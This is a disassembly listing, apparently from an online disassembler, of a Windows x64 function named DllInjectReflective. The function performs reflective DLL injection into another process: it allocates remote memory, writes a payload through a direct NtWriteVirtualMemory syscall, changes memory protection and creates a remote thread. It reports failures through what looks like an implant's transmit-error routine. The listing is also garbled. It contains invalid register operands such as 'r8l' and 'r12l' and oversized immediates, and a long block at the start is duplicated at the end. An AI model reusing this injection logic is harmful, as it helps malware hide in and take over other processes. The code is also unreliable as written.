1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270
Loading..